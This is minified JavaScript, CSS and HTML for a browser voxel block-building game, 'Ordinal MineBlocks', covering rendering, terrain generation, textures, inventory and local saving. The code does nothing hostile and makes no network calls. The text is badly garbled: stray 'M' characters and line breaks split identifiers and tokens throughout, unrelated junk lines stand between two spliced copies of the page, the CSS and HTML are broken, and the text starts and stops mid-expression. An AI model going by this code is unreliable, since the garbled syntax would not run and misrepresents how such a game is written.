=f()+18*r.selected;e.lineWidth=1,e.strokeStyle="#fff",e.strokeRect(n+1,s()+1,14,14),e.strokeStyle="#000",e.strokeRect(n,s(),16,16)},drawIconNumers:function(){for(var t=window.game.hotbar,e=t.side,r=0;10>r;r++){var n=f()+18*r,i=u[e][r];o(t.items[i],n+16,s()+16)}},inventoryAdd:function(t){var e=window.game.hotbar,r=e.items;r[t]++;var n=c[t];if(n){var o=i(n,2),a=o[0],u=o[1];return void(r[a]=0|r[t]/u)}var f=l(t);if(f){var s=i(c[f],2),d=s[1];r[f]+=d}},inventoryRemove:function(t){var e=window.game.hotbar,r=e.items;r[t]--M
;var n=c[t];if(n){var o=i(n,2),a=o[0],u=o[1];return void(r[a]=0|r[t]/u)}var f=l(t);if(f){var s=i(c[f],2),d=s[1];r[f]-=d}}}},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}var o=Math.cos,i=Math.sin,a=r(2),u=n(a),c=r(1),f=n(c),s=r(21),l=n(s),d=r(0),v=0,m=0;(0,f.default)(function(){m=(m+1)%3}),t.exports={render:function(){var t=window.game,e=t.texmap,r=t.width,n=t.height,a=t.player,c=t.CONST,f=(t.fps,t.scanlinesEnabled),s=t.renderDistance,h=o(a.pitch),p=i(a.pitch),w=o(a.yaw),y=i(a.yaw)M
,g=a.x-(0|a.x),M=a.y-(0|a.y),b=a.z-(0|a.z);v=v?0:1;for(var _=0;_<r;_++)for(var x=(0,d.calcArcFromLength)(_,r),A=(_-r/2)/n,S=f?_%2+v-1:0;S<n;S+=f?2:1){for(var k,E=(0,d.calcArcFromLength)(S,n),L=s+(s*x+s*E)/2,T=(S-n/2)/n,C=h+T*p,O=T*h-p,I=A*w+C*y,P=C*w-A*y,j=0,R=255,z=0;3>z;z++){k=I,1==z&&(k=O),2==z&&(k=P);var B=1/Math.abs(k),N=I*B,D=O*B,F=P*B,G=g;1==z&&(G=M),2==z&&(G=b),0<k&&(G=1-G);var q=a.x+N*G,H=a.y+D*G,W=a.z+F*G;0>k&&(z||q--,1==z&&H--,2==z&&W--);for(var X,Z=B*G,J=c.MAP_SIZE-1;Z<L;){if(X=(0,d.getBlock)(q&J,63&H,WM
&J),(W>J||63<H||q>J||0>W||0>H||0>q)&&(X=0),0<X){var K=15&16*(q+W),Y=16+(15&16*H);1==z&&(K=15&16*q,Y=15&16*W,0>D&&(Y+=32));var V=e[K+16*Y+256*X*3];if(0<V){if(j=V,1==z&&(9==X||10==X)){var U=K+Y*(m+1)*16+256*X*3;9==X&&7680>U?j=e[U]:10==X&&8680>U&&(j=e[U])}var Q=u.default.timeModifier(),$=1-Z/s*Q;R=(255-(z+2)%3*50)*$,L=Z}}q+=N,H+=D,W+=F,Z+=B}}(0,l.default)(_,S,R,j)}}}},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}var o=r(13),i=n(o),a=r(5),u=n(a),c=r(2),f=r(1),s=n(f),l=r(0),d=r(3),v=n(M
d),m=r(9),h=r(7),p=r(18),w=r(4),y=w.RES,g=y.WIDTH,M=y.HEIGHT,b=0|w.MAP_SIZE/2;document.title="Ordinal MineBlocks",window.game={CONST:w},window.game={CONST:w,width:g,height:M,getTime:c.getTime,setTime:c.setTime,player:{x:b,y:0,z:b,velocity:0,pitch:-.1,yaw:0},hotbar:{selected:0,side:0,items:Array(21).fill(0)},map:h.map(),texmap:h.textures(),ctx:document.getElementById("game").getContext("2d"),fps:0,scanlinesEnabled:!0,renderDistance:32},document.addEventListener("DOMContentLoaded",function(){var t=window,e=t.game,r=eM
.width,n=e.height,o=e.ctx,a=document.getElementById("toolbar"),c=(0,l.getCanvas)();c.width=r,c.height=n;var f=function(){var t=1.3334*window.innerHeight,e=window.innerHeight;.75*window.innerWidth<window.innerHeight&&(t=window.innerWidth,e=.75*window.innerWidth),c.setAttribute("style","width: "+t+"px; height: "+e+"px")};e.pixels=o.createImageData(r,n),e.pixels.data.fill(255),window.addEventListener("resize",f),f(),m.init(),p.clock.init(),setTimeout(u.default.main,500),(0,s.default)(function(){window.game}),a.addEvenM
tListener("click",function(t){var r=t.target.id;"lock"===r?a.classList.toggle("extended"):"save"===r?(0,i.default)():"load"===r?window.location.reload():"plus"===r?e.renderDistance+=5:"minus"===r?e.renderDistance-=5:"interlace"===r?setTimeout(function(){return e.scanlinesEnabled=!e.scanlinesEnabled},1):"newseeed"===r&&confirm("Generate a new seed? This will erase your current save.")&&(w.LOCAL_STORAGE.forEach(function(t){return localStorage.removeItem(t)}),v.default.safeSet("_mcs",0|Math.random()*Number.MAX_SAFE_INM
TEGER),window.location.reload()),5>e.renderDistance?e.renderDistance=5:255<e.renderDistance&&(e.renderDistance=255)})})},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}function o(){for(var t="",e=m(h()),r=m(window.game.map),n=0;n<r.length;n++){var o=e[n],i=r[n];t+=o===i?"-":i}return t}function i(t){for(var e="",r=t[0],n=1,o=1;o<t.length;o++)t[o]===r?n++:(e+=1==n?r:n+r,r=t[o],n=1);return e+=n+r}Object.defineProperty(e,"__esModule",{value:!0}),e.stringify=void 0;var a=r(5),u=r(2),c=r(M
7),f=n(c),s=r(3),l=n(s),d=r(6),v=Array(58).fill(1).map(function(t,e){return String.fromCharCode(65+e)}),m=e.stringify=function(t){return t.map(function(t){return t.map(function(t){return t.map(function(t){return v[t]||v[0]}).join("")}).join("")}).join("")},h=function(){return window.game._map=window.game._map||f.default.map()};e.default=function(){var t=window,e=t.game;l.default.safeSet("_mct",(0,u.getTime)()),l.default.safeSet("_mci",JSON.stringify(e.hotbar.items));var r=o();console.log("saving mapStr length",r.leM
ngth);var n=i(r),c=d.compress(n);console.log("minified",n.length,n),console.log("compressed",c.length,c),l.default.safeSet("_mcm",c);var f=d.decompress(c);(0,a.unMinify)(f)===r?console.log("success"):console.log("Could not save map internally")}},function(t,e,r){"use strict";function n(t,e,r,n){for(var o=e*r%6+6,i=0;i<o;i++)t[e][r-i][n]=7;for(var a=o;0<a;a-=3)for(var u=-1;2>u;u++)for(var f=-1;2>f;f++)c(f+e,r-a,u+n,8,t,7)}var o=Math.floor,i=r(3),a=function(t){return t&&t.__esModule?t:{default:t}}(i),u=r(0),c=u.setBlM
ock,f=r(8),s=r(15),l=a.default.exits(),d=a.default.safeGet("_mcs");l?!d&&(a.default.safeSet("_mcs",0|Math.random()*Number.MAX_SAFE_INTEGER),window.location.reload()):(d=0,document.querySelector(".nosaving").classList.toggle("show"),console.log('no localstorage. Using seed "0". No saving permitted'));var v=s(d),m={1:1,2:1,4:1};t.exports=function(){for(var t=window.game.CONST,e=t.SEA_LEVEL,r=t.MAP_SCALE,i=t.MAP_SIZE,a=f(),u=function(){return Array(i)},c=document.getElementById("loading"),s=u(),l=u(),d=0;d<i;d++){s[d]M
=u(),l[d]=u();for(var h,p=0;p<i;p++){h=v(d/r,p/r,0),h*=10,h+=32,h=o(h),s[d][p]=h;var w=v(d/2,p/2,0);w*=3,w=o(w),l[d][p]=w,window.treeMap=l}}console.log("ran");for(var y=0;y<i;y++)for(var g,M=0;M<i;M++){g=s[y][M],a[y][g][M]=g<=e?1:12;for(var b=g-1;b>e;b--)a[y][b][M]=9;for(var _=g+1;64>_;_++)a[y][_][M]=4;-2>=l[y][M]&&g<e&&n(a,y,g-1,M),34==g&&(a[y][g][M]=13);for(var x=e-5;64>x;x++){if(48<x){var A=v(y/r*4,x/r*2,M/r*4);if(.55<A&&.6>A){var S=a[y][x][M];m[S]&&(a[y][x][M]=10)}}var k=v(y/r*2,x/r*4,M/r*2);if(.35<k&&.8>k){varM
 E=a[y][x][M];m[E]&&(a[y][x][M]=0)}var L=v(y/r*8,x/r*8,M/r*8);if(.2<L&&.8>L){var T=a[y][x][M];m[T]&&(50>x&&.2<L&&.21>L?a[y][x][M]=14:42<x&&50>x&&.55<L&&.6>L?a[y][x][M]=15:48<x&&.7<L&&(a[y][x][M]=16))}if(61<x)if(63==x)a[y][x][M]=11;else{var C=v(y/r*64,x/r*64,M/r*64);.1<C&&(a[y][x][M]=11)}}}return c.hidden=!0,a}},function(t,e,r){"use strict";function n(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}function o(t){if(Array.isArray(t)){for(var e=0,r=Array(t.length);e<t.length;e++)r[e]M
=t[e];return r}return Array.from(t)}var i=function(){function t(t,e){for(var r,n=0;n<e.length;n++)r=e[n],r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(t,r.key,r)}return function(e,r,n){return r&&t(e.prototype,r),n&&t(e,n),e}}(),a=r(16),u=function(t){return t&&t.__esModule?t:{default:t}}(a);t.exports=function(){for(var t,e=0<arguments.length&&void 0!==arguments[0]?arguments[0]:1,r=1<arguments.length&&void 0!==arguments[1]?arguments[1]:Array(512),a=-1,c=Math.floor,M
f=[].concat(o(r)),s=function(t){return t*t*t*(t*(6*t-15)+10)},l=function(t,e,r){return(1-r)*t+r*e},d=[[1,1],[a,1],[1,a],[a,a],[1,,1],[a,,1],[1,,a],[a,,a],[,1,1],[,a,1],[,1,a],[,a,a]].map(function(t){return new(Function.prototype.bind.apply(function(){function t(){var e=0<arguments.length&&void 0!==arguments[0]?arguments[0]:0,r=1<arguments.length&&void 0!==arguments[1]?arguments[1]:0,o=2<arguments.length&&void 0!==arguments[2]?arguments[2]:0;n(this,t),this.x=e,this.y=r,this.z=o}return i(t,[{key:"d",value:function(t,M
e,r){return this.x*t+this.y*e+this.z*r}}]),t}(),[null].concat(o(t))))}),v=0;256>v;v++)t=(0,u.default)(e+v,256)^(1&v?255&e:255&e>>8),r[v]=r[v+256]=t,f[v]=f[v+256]=d[t%12];return function(t,e,n){var o=c(t),i=c(e),a=c(n);t-=o,e-=i,n-=a,o&=255,i&=255,a&=255;var u=s(t),d=s(e),v=s(n),m=i+r[a],h=i+r[a+1],p=o+r[m],w=o+r[h],y=o+r[m+1],g=o+r[h+1];return l(l(l(f[p].d(t,e,n),f[p+1].d(t-1,e,n),u),l(f[w].d(t,e,n-1),f[w+1].d(t-1,e,n-1),u),v),l(l(f[y].d(t,e-1,n),f[y+1].d(t-1,e-1,n),u),l(f[g].d(t,e-1,n-1),f[g+1].d(t-1,e-1,n-1),u),vM
),d)}}},function(t,e){"use strict";Object.defineProperty(e,"__esModule",{value:!0}),e.default=function(t,e){return(""+(2147483647&Math.imul(48271,t))/2147483648).split("").slice(-10).join("")%e}},function(t){"use strict";t.exports=function(){for(var t=Array(12288),e=1;21>e;e++)for(var r=255-(0|96*Math.random()),n=0;48>n;n++)!function(n){for(var o=0;16>o;o++)!function(o){var i=9858122,a=r;if(32<=n&&(a/=2),(4!=e&&6!=e||0==(0|3*Math.random()))&&(r=255-(0|96*Math.random())),1==e&&(n<18+(3&o*o*3+81*o>>2)?i=6990400:1==e&M
&n<19+(3&o*o*3+81*o>>2)&&(r=2*r/3)),3==e&&(i=14606046,0<o&&15>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(a=0)),4==e&&(i=8355711),5==e&&(i=11876885,(0==(o+4*(n>>2))%8||0==n%4)&&(i=12365733)),6==e&&(i=10519115,0==(0|16*Math.random())&&(r=255-(0|96*Math.random())),0==n%4&&(a=132)),7==e)if(i=6771249,0<o&&15>o&&(0<n&&15>n||32<n&&47>n)){i=12359778;var u=o-7,c=(15&n)-7;0>u&&(u=1-u),0>c&&(c=1-c),c>u&&(u=c),r=196-(0|32*Math.random())+u%3*32}else 0==(0|2*Math.random())&&(r=r*(140-100*(1&o))/100);8==e&&(i=5298487,0==(0|2*Math.rM
andom())&&(i=0,a=255)),9==e&&(i=4219135,a=192+(0|32*Math.random())),10==e&&(i=15810114,a=192+(0|32*Math.random()),0==(0|2*Math.random())&&(i=15834690)),11==e&&(i=4392035,0==(0|2*Math.random())&&(i=2294851)),12==e&&(i=15196080,1>16*Math.random()&&(a=164+4*o)),13==e&&(i=15200224,1>16*Math.random()&&(i=16232346));var f=function(t){2<o&&13>o&&(2<n&&13>n||18<n&&29>n)&&1>4*Math.random()&&(i=t)};14==e&&(i=8355711,f(15810114)),15==e&&(i=8355711,f(15778600)),16==e&&(i=8355711,f(4517357)),17==e&&(i=13704738,1>16*Math.random(M
)&&(a=164+4*o),0<=o&&14>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(32>n&&(i=15810114),r=255)),18==e&&(i=13673224,1>16*Math.random()&&(a=164+4*o),0<=o&&14>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(32>n&&(i=15778600),r=255)),19==e&&(i=3386283,1>16*Math.random()&&(a=164+4*o),0<=o&&14>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(32>n&&(i=4517357),r=255)),20==e&&(i=8355711,1<=(0|4*Math.random())&&(Math.random(),i=5277975));var s=(255&i>>16)*a/255<<16|(255&i>>8)*a/255<<8|(255&i)*a/255;t[o+16*n+256*e*3]=s}(o)}(n);return t}},funcM
tion(t,e,r){"use strict";var n=r(19),o=r(11);t.exports={clock:n,render:o}},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}function o(){var t=window.game,e=t.ctx,r=t.pixels;window._tick+=1,d.applyGravity(),d.calculateMovement(),m(),f.default.drawIcons(),e.putImageData(r,0,0),f.default.drawHotbarBorder(),f.default.drawIconNumers(),(0,l.default)()}function i(t){var e=window.game.CONST.MAX_FPS;return t-h<1e3/e?window.requestAnimationFrame(i):(o(),h=t,void window.requestAnimationFrame(i)M
)}var a=r(1),u=n(a),c=r(10),f=n(c),s=r(20),l=n(s),d=r(9),v=r(11),m=v.render,h=0;t.exports={init:function(){window._tick=0;var t=document.querySelector(".fps");(0,u.default)(function(){var e=window._tick;window.game.fps=e,t&&(t.innerText=e.toString()+" fps"),window._tick=0}),window.requestAnimationFrame?window.requestAnimationFrame(i):setInterval(o,10)}}},function(t,e,r){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var n,o,i,a=r(1),u=function(t){return t&&t.__esModule?t:{default:t}}(a);e.default=funM
ction(){var t=window.game,e=t.ctx,r=t.width,a=t.height;e.lineWidth=1,e.strokeStyle="#fff",e.strokeStyle="rgb("+n+","+o+","+i+")",e.strokeRect(r/2-1,a/2-1,2,2)},(0,u.default)(function(){var t=window.game,e=t.pixels,r=t.width,a=t.height,u=4*(r/2+(a/2-5)*r);n=255&e.data[u+0]+128,o=255&e.data[u+1]+128,i=255&e.data[u+2]+128})},function(t,e,r){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var n=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.M
push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),o=r(2),i=function(t){return t&&t.__esModule?t:{default:t}}(o),a=r(0);e.default=function(t,e,r,o){var u=window.game,c=u.pixels,f=u.width,s=i.default.color,l=(0,a.isInsideCheck)(),d=i.default.timeModifier(),v=s(),m=n(v,3)L
,h=m[0],p=m[1],w=m[2],y=255*r/48960;l||(y*=1-d/2);var g=(255&o>>16)*y,M=(255&o>>8)*y,b=(255&o)*y,_=4*(t+e*f);c.data[_+0]=g||h,c.data[_+1]=M||p,c.data[_+2]=b||w}}]);
</script></body></html>
59.37.100 libvpx-vp9g
text/html;charset=utf-8
<!DOCTYPE html><html><head><style>
body{background:#DDDDDD}
canvas{image-rendering:pixelated;box-sizing:border-box}
body{text-align:center}
button{border-radius:4px}
.fixed{position:fixed;top:4px}
.fps{right:4px;font-family:Impact,Charcoal,sans-serif;color:white;-webkit-text-stroke:1px black;font-variant:small-caps;font-size:20px}
.hidables,.nosaving{display:none}
#lock,#save{background:none;background:#ffffff4d}
  line-height: 100vh;
  font-family: sans-serif
.extended #lock:after{background:#ffffff;content:" Options"}
.extended #save:after{background: #ffffff;content:" Save"}
.extended .hidables,.show{display:initial}
.text{color:#777;text-align:left;padding-left:20px;margin-bottom:80px}.text div{display:inline-block;width:48%}
.text:hover{color:#000}
/* Reset CSS */html{line-height:1.15;-webkit-text-size-adjust:100%}body{margin:0}main,details{display:block}h1{font-size:2em;margin:.67em 0}hr{box-M
sizing:content-box;height:0;overflow:visible}pre{font:1em monospace,monospace}a{background-color:transparent}abbr[title]{border-bottom:none;text-decoration:underline;text-decoration:underline dotted}b,strong{font-weight:bolder}code,kbd,samp{font:1em monospace,monospace}small{font-size:80%}sub,sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline}sub{bottom:-.25em}sup{top:-.5em}img{border-style:none}button,input,optgroup,select,textarea{margin:0;font:100%/1.15 inherit}button,input{overflow:visiblM
e}button,select{text-transform:none}button,[type="button"],[type="reset"],[type="submit"]{-webkit-appearance:button}button::-moz-focus-inner,[type="button"]::-moz-focus-inner,[type="reset"]::-moz-focus-inner,[type="submit"]::-moz-focus-inner{border-style:none;padding:0}button:-moz-focusring,[type="button"]:-moz-focusring,[type="reset"]:-moz-focusring,[type="submit"]:-moz-focusring{outline:1px dotted ButtonText}fieldset{padding:.35em .75em .625em}legend{box-sizing:border-box;color:inherit;display:table;max-width:100M
%;padding:0;white-space:normal}progress{vertical-align:baseline}textarea{overflow:auto}[type="checkbox"],[type="radio"]{box-sizing:border-box;padding:0}[type="number"]::-webkit-inner-spin-button,[type="number"]::-webkit-outer-spin-button{height:auto}[type="search"]{-webkit-appearance:textfield;outline-offset:-2px}[type="search"]::-webkit-search-decoration{-webkit-appearance:none}::-webkit-file-upload-button{-webkit-appearance:button;font:;font-style:normal;font-variant:normal;font-weight:normal;font-family:inherit}M
summary{display:list-item}[hidden],template{display:none}
  <div id=toolbar class=fixed>
    <button id=lock>
    <button id=save>
    <span class=hidables>
      <button id=load>
      <button id=newseeed>
      <span> | </span>
      <button id=minus>
      <button id=plus>
      <button id=interlace>
  <div class="fixed fps">0</div>
=loading>Click Content to play @OrdMineBlocks</h1>
  <canvas id=game></canvas>
  <div class=center>
    <h1>Ordinal MineBlocks</h1>
    <p>Bringing Blocks on the Blockchain, On-Chain, Forever.</p>
      <h2>Join Us:</h2>
      <p>- Twitter: https://twitter.com/OrdMineBlocks </p>
      <p>- Discord: https://discord.gg/dAqfzKQDBj </p>
    <div class=center>
      <h2>Controls:</h2>
      <p>- <b>[wasd]</b> to move</p>
      <p>- <b>[e]</b> to toggle craftable items</p>
      <p>- <b>[spacebar]</b> to jumM
      <p>- Hold <b>[shift]</b> to take/build on liquids</p>
      <p>- <b>[left click]</b> to break a block</p>
      <p>- <b>[right click]</b> to build a block</p>
      <p>- <b>[number keys]</b> to change selected items</p>
<script type="text/javascript">
  !function(t){function e(n){if(r[n])return r[n].exports;var o=r[n]={i:n,l:!1,exports:{}};return t[n].call(o.exports,o,o.exports,e),o.l=!0,o.exports}var r={};e.m=t,e.c=r,e.d=function(t,r,n){e.o(t,r)||Object.defineProperty(t,r,{configurM
able:!1,enumerable:!0,get:n})},e.n=function(t){var r=t&&t.__esModule?function(){return t.default}:function(){return t};return e.d(r,"a",r),r},e.o=function(t,e){return Object.prototype.hasOwnProperty.call(t,e)},e.p="",e(e.s=12)}([function(t,e,r){"use strict";function n(t,e,r){try{return window.game.map[0|t][0|e][0|r]}catch(e){}}var o=r(1),i=function(t){return t&&t.__esModule?t:{default:t}}(o),a=!1,u=!1,c=!1,f=document.querySelector("#game");(0,i.default)(function(){u=!1}),t.exports={dlog:function(){c||(c=!0,console.M
log.apply(this,arguments),setTimeout(function(){return c=!1},500))},drawAllTextures:function(){for(var t=window.game,e=t.pixels,r=t.texmap,n=t.width,o=0;21>o;o++)for(var i=0;i<48;i++)for(var a=0;16>a;a++){var u=r[a+16*i+256*o*3],c=1.328125,f=16*o,s=f+a,l=n*i;16<o&&(s-=272,l=n*(i+48));var d=4*(s+l);e.data[d+0]=(255&u>>16)*c,e.data[d+1]=(255&u>>8)*c,e.data[d+2]=(255&u)*c}},getBlock:n,setBlock:function(t,e,r,n,o,i){if(o=o||window.game.map,!(255<t||255<e||255<r))try{o[t][e][r]!==i&&(o[t][e][r]=n)}catch(e){}},isInsideChM
eck:function(){if(u)return a;u=!0;for(var t,e=window.game.player,r=e.x,o=e.y,i=e.z,c=o;0<c;c--)if(0!==(t=n(r,c,i))&&8!==t)return a=!0;return a=!1},calcArcFromLength:function(t,e){var r=e/2;return(r-Math.abs(t-r))/r},tryCatch:function(t){var e=null;try{e=t()}catch(t){e=null}return e},getCanvas:function(){return f}}},function(t,e){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var r=[];setInterval(function(){r.forEach(function(t){return t()})},1e3),e.default=function(t){r.push(t)}},function(t,e,r){"useM
 strict";function n(){return Math.abs(c)/255}function o(){var t=f[0],e=f[1],r=f[2],o=s[0],i=s[1],a=s[2],u=n(),c=[t*(1-u),e*(1-u),r*(1-u)],l=[o*u,i*u,a*u];return[c[0]+l[0],c[1]+l[1],c[2]+l[2]]}Object.defineProperty(e,"__esModule",{value:!0}),e.time=void 0;var i=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){iM
f(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),a=r(1),u=function(t){return t&&t.__esModule?t:{default:t}}(a),c=e.time=0,f=[154,218,255],s=[200,25,75];(0,u.default)(function(){e.time=c+=.5,255<c&&(e.time=c=-255)}),t.exports={color:function(){var t=o(),e=i(t,3),r=e[0],a=e[1],u=e[2],c=1-n();return[r*c,a*c,u*c]},timeModifier:n,setTime:function(t){e.time=c=parseFloat(t)},getTime:function(){return c}}},function(t,e,M
r){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var n=r(0),o=function(t){return t&&t.__esModule?t:{default:t}}(n);e.default={safeGet:function(t){return o.default.tryCatch(function(){return localStorage.getItem(t)})||""},safeSet:function(t,e){return o.default.tryCatch(function(){return localStorage.setItem(t,e)})||""},exits:function(){try{return localStorage.getItem(null),!0}catch(t){return!1}}}},function(t){"use strict";t.exports={RES:{WIDTH:320,HEIGHT:240},MAP_SIZE:256,MAX_FPS:60,SEA_LEVEL:30,MAP_M
SCALE:31,JMP:{STR:.4,AMP:.001},BLOCKS_MAP:[[2,4,12,7,9,11,13,14,15,16],[1,20,3,6,10,8,5,17,18,19]],CRAFTABLES:{2:[1,1],4:[20,6],7:[6,.25],9:[10,8],11:[8,.5],12:[3,4],13:[5,2],14:[17,9],15:[18,9],16:[19,9]},LOCAL_STORAGE:["_mcm","_mcs","_mct","_mci"]}},function(t,e,r){"use strict";function n(t){for(var e=0;e<t.length;e++){var r=e%256,n=0|e/256%64,o=0|e/256/64;if("-"!==t[e]){var i=l.indexOf(t[e]);-1!==i&&(window.game.map[o][n][r]=i)}}}function o(t,e){for(var r="",n=0;n<e;n++)r+=t;return r}function i(t){for(var e,r=""M
,n="",i=0;i<t.length;i++)e=/\d/.test(t[i]),e?n+=t[i]:n?(r+=o(t[i],parseInt(n,10)),n=""):r+=t[i];return r}var a=r(0),u=r(2),c=r(3),f=function(t){return t&&t.__esModule?t:{default:t}}(c),s=r(6),l=Array(58).fill(1).map(function(t,e){return String.fromCharCode(65+e)});t.exports={main:function(){var t=window,e=t.game,r=f.default.safeGet("_mct"),o=(0,a.tryCatch)(function(){return JSON.parse(f.default.safeGet("_mci"))});o&&(e.hotbar.items=o.map(function(t){return null===t?1/0:t})),r&&(0,u.setTime)(r);var c=f.default.safeGM
et("_mcm");c&&n(i(s.decompress(c)))},unMinify:i}},function(t){"use strict";var e=String.fromCharCode,r=32768,n=Object.prototype.hasOwnProperty,o=Math.pow,i=function(t){return t.charCodeAt(0)};t.exports={compress:function(t){if(null==t)return"";var r,a,u,c=function(t){return e(t)},f={},s={},l="",d="",v="",m=2,h=3,p=2,w=[],y=0,g=0;for(u=0;u<t.length;u+=1)if(l=t.charAt(u),n.call(f,l)||(f[l]=h++,s[l]=!0),d=v+l,n.call(f,d))v=d;else{if(n.call(s,v)){if(256>i(v)){for(r=0;r<p;r++)y<<=1,15==g?(g=0,w.push(c(y)),y=0):g++;for(aM
=i(v),r=0;8>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1}else{for(a=1,r=0;r<p;r++)y=y<<1|a,15==g?(g=0,w.push(c(y)),y=0):g++,a=0;for(a=i(v),r=0;16>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1}m--,0==m&&(m=o(2,p),p++),delete s[v]}else for(a=f[v],r=0;r<p;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1;m--,0==m&&(m=o(2,p),p++),f[d]=h++,v=l+""}if(""!==v){if(n.call(s,v)){if(256>i(v)){for(r=0;r<p;r++)y<<=1,15==g?(g=0,w.push(c(y)),y=0):g++;for(a=i(v),r=0;8>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)M
),y=0):g++,a>>=1}else{for(a=1,r=0;r<p;r++)y=y<<1|a,15==g?(g=0,w.push(c(y)),y=0):g++,a=0;for(a=i(v),r=0;16>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1}m--,0==m&&(m=o(2,p),p++),delete s[v]}else for(a=f[v],r=0;r<p;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1;0==--m&&(m=o(2,p),p++)}for(a=2,r=0;r<p;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1;for(;;){if(y<<=1,15==g){w.push(c(y));break}g++}return w.join("")},decompress:function(t){var n,i,a,u,c,f,s,l=function(e){return t.charCodeAt(e)},d=[],M
v=4,m=4,h=3,p="",w=[],y={val:l(0),position:r,index:1};for(n=0;3>n;n+=1)d[n]=n;for(a=0,c=o(2,2),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;switch(a){case 0:for(a=0,c=o(2,8),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;s=e(a);break;case 1:for(a=0,c=o(2,16),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;s=e(a);breaM
k;case 2:return""}for(d[3]=s,i=s,w.push(s);;){if(y.index>t.length)return"";for(a=0,c=o(2,h),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;switch(s=a){case 0:for(a=0,c=o(2,8),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;d[m++]=e(a),s=m-1,v--;break;case 1:for(a=0,c=o(2,16),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<M
=1;d[m++]=e(a),s=m-1,v--;break;case 2:return w.join("")}if(0==v&&(v=o(2,h),h++),d[s])p=d[s];else{if(s!==m)return null;p=i+i.charAt(0)}w.push(p),d[m++]=i+p.charAt(0),v--,i=p,0==v&&(v=o(2,h),h++)}}}},function(t,e,r){"use strict";var n=r(8),o=r(14),i=r(17);t.exports={mapDataType:n,map:o,textures:i}},function(t){"use strict";t.exports=function(){var t=window.game.CONST.MAP_SIZE;return Array(t).fill(0).map(function(){return Array(64).fill(0).map(function(){return Array(t).fill(0)})})}},function(t,e,r){"use strict";var nM
=Math.PI,o=Math.cos,i=Math.sin,a=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),u=r(4),c=r(10),f=r(0),s=f.getBlock,l={forward:0,backward:0,strafeLeft:0,stM
rafeRight:0,jump:0,jumping:0,shift:0};t.exports={applyGravity:function(){var t=window.game.CONST.JMP,e=t.AMP,r=t.STR,n=window.game.player,o=n.x,i=n.y,a=n.z;i+=2;var u=s(o,i,a);if(l.jump&&0<u&&(n.velocity=-r,l.jumping=1),l.jumping){n.velocity+=n.velocity+r+e,0<n.velocity&&(n.velocity=0,l.jumping=0);var c=s(o,n.y+n.velocity,a);return void(0==c?n.y+=n.velocity:9==c&&(n.y+=n.velocity/8))}if(0==u||9==u){3>n.velocity&&(n.velocity+=.2);var f=n.y+.1*n.velocity/(0==u?1:4),d=s(o,Math.ceil(f)+1,a);return void(n.y=0==d||9==d?fM
